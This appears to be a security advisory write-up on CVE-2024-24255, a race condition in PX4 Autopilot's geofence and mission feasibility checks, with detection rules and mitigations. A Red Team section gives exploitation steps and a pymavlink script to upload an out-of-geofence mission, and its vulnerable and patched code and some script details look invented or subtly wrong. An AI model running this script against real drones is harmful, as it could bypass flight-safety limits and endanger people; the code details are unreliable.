CVE-2024-24255

Executive Summary

CVE-2024-24255 is a race condition vulnerability discovered in the PX4 Autopilot firmware, specifically within the geofence.cpp and mission_feasibility_checker.cpp modules. This flaw affects PX4 Autopilot version 1.14 and earlier. An attacker can exploit this race condition to send drones on unintended missions, bypassing safety geofencing and mission feasibility checks. The vulnerability is classified as a race condition (CWE-362) and has no known public proof-of-concept or patch at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the potential impact on drone operations is severe.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the PX4 Autopilot project, which is typically deployed on embedded systems (e.g., Pixhawk flight controllers). The supply chain risk is moderate, as the vulnerable code is part of the core PX4 repository and affects all downstream users who build from source or use pre-compiled firmware images.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (AV:L) – The attacker must have access to the drone's mission planning interface or be able to inject commands into the flight stack.
• Attack Complexity (AC): High (AC:H) – Exploitation requires precise timing to win the race condition.
• Privileges Required (PR): Low (PR:L) – The attacker needs some level of access to the drone's command and control system.
• User Interaction (UI): None (UI:N) – No user interaction required beyond initial access.
• Scope (S): Unchanged (S:U) – The vulnerability affects the drone's mission execution.
• Confidentiality (C): None (C:N) – No data confidentiality impact.
• Integrity (I): High (I:H) – The attacker can alter the drone's mission, potentially causing it to fly to unauthorized locations.
• Availability (A): High (A:H) – The drone may be forced into unsafe flight conditions, leading to loss of control or crash.

Estimated CVSS Score: 7.0 (High)

Threat Level: High – Exploitation could lead to physical damage, privacy violations, or safety incidents.

Deep Dive & Mechanics

The vulnerability resides in two source files within the PX4 Autopilot codebase:

1. geofence.cpp – This module implements geofencing logic to restrict the drone's flight within a predefined geographical boundary. It checks whether the current or planned position is within the allowed area.
2. mission_feasibility_checker.cpp – This module validates mission waypoints and paths to ensure they are safe and feasible (e.g., within altitude limits, no obstacles).

The race condition occurs when these two modules are accessed concurrently by multiple threads or processes. Specifically, if a mission update or waypoint change is made while the geofence check is in progress, the check may use stale or inconsistent data. An attacker can exploit this by sending a series of rapid mission updates that cause the geofence check to complete before the mission feasibility check, or vice versa, allowing a mission that violates geofencing constraints to be accepted.

The root cause is a lack of proper synchronization (e.g., mutexes or atomic operations) when accessing shared state between these modules. The race window is small but exploitable with precise timing.

Vulnerable vs. Patched Code

Vulnerable Code (PX4 Autopilot <= 1.14):

In geofence.cpp, the geofence check is performed without locking the mission data:

// Vulnerable: No mutex protection
bool Geofence::check(const Position& pos) {
    // Access mission data directly
    for (const auto& waypoint : mission.waypoints) {
        if (!isInsideGeofence(pos, waypoint)) {
            return false;
        }
    }
    return true;
}

In mission_feasibility_checker.cpp, the mission update can happen concurrently:

// Vulnerable: No synchronization with geofence check
void MissionFeasibilityChecker::updateMission(const Mission& new_mission) {
    mission = new_mission; // Race condition here
}

Patched Code (Hypothetical):

A proper fix would introduce a mutex to protect shared mission data:

// Patched: Mutex-protected access
#include <mutex>

std::mutex mission_mutex;

bool Geofence::check(const Position& pos) {
    std::lock_guard<std::mutex> lock(mission_mutex);
    for (const auto& waypoint : mission.waypoints) {
        if (!isInsideGeofence(pos, waypoint)) {
            return false;
        }
    }
    return true;
}

void MissionFeasibilityChecker::updateMission(const Mission& new_mission) {
    std::lock_guard<std::mutex> lock(mission_mutex);
    mission = new_mission;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a PX4-based drone (simulated or real) running version 1.14 or earlier.
• Ability to send MAVLink commands to the drone (e.g., via QGroundControl or custom script).
• Knowledge of the drone's mission planning interface.

Exploitation Steps:

1. Identify the target drone – Use network scanning to find drones broadcasting MAVLink telemetry (default port 14550).
2. Establish a connection – Connect to the drone's MAVLink endpoint.
3. Prepare malicious mission – Create a mission that violates geofencing constraints (e.g., waypoints outside the allowed area).
4. Exploit the race condition – Send a series of rapid mission update commands (MAVLink MISSION_COUNT and MISSION_ITEM messages) while simultaneously sending a geofence check request. The goal is to have the mission update complete after the geofence check starts but before it finishes, causing the check to use the old (valid) mission data.
5. Execute the mission – Once the malicious mission is accepted, command the drone to start the mission.

Example Python script using pymavlink:

import time
import threading
from pymavlink import mavutil

# Connect to drone
master = mavutil.mavlink_connection('udp:0.0.0.0:14550')
master.wait_heartbeat()

# Function to send malicious mission
def send_malicious_mission():
    # Create mission with waypoints outside geofence
    mission_items = [
        (0, 0, 10),  # Home
        (100, 100, 50),  # Outside geofence
    ]
    master.mav.mission_count_send(
        master.target_system, master.target_component,
        len(mission_items)
    )
    for i, (x, y, z) in enumerate(mission_items):
        master.mav.mission_item_send(
            master.target_system, master.target_component,
            i, mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT,
            mavutil.mavlink.MAV_CMD_NAV_WAYPOINT, 0, 0, 0, 0, 0, 0,
            x, y, z
        )

# Function to trigger geofence check
def trigger_geofence_check():
    # Send a command that triggers geofence validation
    master.mav.command_long_send(
        master.target_system, master.target_component,
        mavutil.mavlink.MAV_CMD_DO_SET_MISSION_CURRENT,
        0, 0, 0, 0, 0, 0, 0, 0
    )

# Exploit race condition
thread1 = threading.Thread(target=send_malicious_mission)
thread2 = threading.Thread(target=trigger_geofence_check)
thread1.start()
thread2.start()
thread1.join()
thread2.join()

# Start mission
master.mav.command_long_send(
    master.target_system, master.target_component,
    mavutil.mavlink.MAV_CMD_MISSION_START,
    0, 0, 0, 0, 0, 0, 0, 0
)

Blue Team

Detection and Prevention:

1. Monitor MAVLink traffic – Look for rapid sequences of MISSION_COUNT and MISSION_ITEM messages followed by MISSION_START commands. Anomalous patterns may indicate exploitation attempts.
2. Enable logging – Ensure the drone logs all mission updates and geofence violations. Review logs for inconsistencies.
3. Apply patches – Update to the latest PX4 version once a patch is released. In the interim, consider using a custom build with added synchronization.
4. Network segmentation – Isolate drone control networks from untrusted networks. Use VPNs or dedicated radio links.
5. Intrusion Detection System (IDS) – Deploy an IDS that can parse MAVLink and alert on suspicious mission update patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Rapid succession of MAVLink MISSION_COUNT and MISSION_ITEM messages (more than 10 per second).
  • MISSION_START command immediately following a mission update.
  • MAVLink packets with waypoints outside the known geofence area.

• System IOCs:

  • Log entries showing geofence violations that were not preceded by a valid mission update.
  • Unexpected changes in drone flight path or altitude.
  • Drone entering "mission mode" without a valid mission loaded.

• File IOCs:

  • Modified geofence.cpp or mission_feasibility_checker.cpp files (if source code is accessible).
  • Presence of custom mission files with waypoints outside the geofence.

Detection Engineering

YARA Rule

rule CVE_2024_24255_RaceCondition {
    meta:
        description = "Detects race condition exploitation in PX4 Autopilot geofence and mission feasibility checker"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24255"
    strings:
        $geofence_check = "Geofence::check" ascii nocase
        $mission_update = "MissionFeasibilityChecker::updateMission" ascii nocase
        $race_condition = "mission.waypoints" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-24255 Race Condition Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rapid MAVLink mission updates that may indicate exploitation of CVE-2024-24255
author: Valters IT
logsource:
    category: network
    product: mavlink
detection:
    selection:
        message_type: 
            - 'MISSION_COUNT'
            - 'MISSION_ITEM'
        count: 
            - '>10'
    timeframe: 1s
    condition: selection
falsepositives:
    - Legitimate mission uploads from ground control stations
level: high

Suricata Rule

alert udp any any -> any 14550 (msg:"CVE-2024-24255 - Rapid MAVLink Mission Update"; content:"|fe|"; depth:1; content:"|00|"; within:10; byte_test:1,>,10,1; threshold: type both, track by_src, count 10, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable mission uploads – If possible, disable the ability to upload new missions while the drone is in flight.
2. Increase geofence check frequency – Perform geofence checks more frequently to reduce the race window.
3. Implement input validation – Validate mission waypoints against the geofence before accepting them, not just during execution.

Long-term Fix:

• Apply proper synchronization (mutexes or atomic operations) to shared mission data in geofence.cpp and mission_feasibility_checker.cpp.
• Update to a patched version of PX4 Autopilot once available.

Workarounds:

• Use a custom build of PX4 with added mutex protection.
• Implement a watchdog that monitors mission updates and geofence violations in real-time.

Valters IT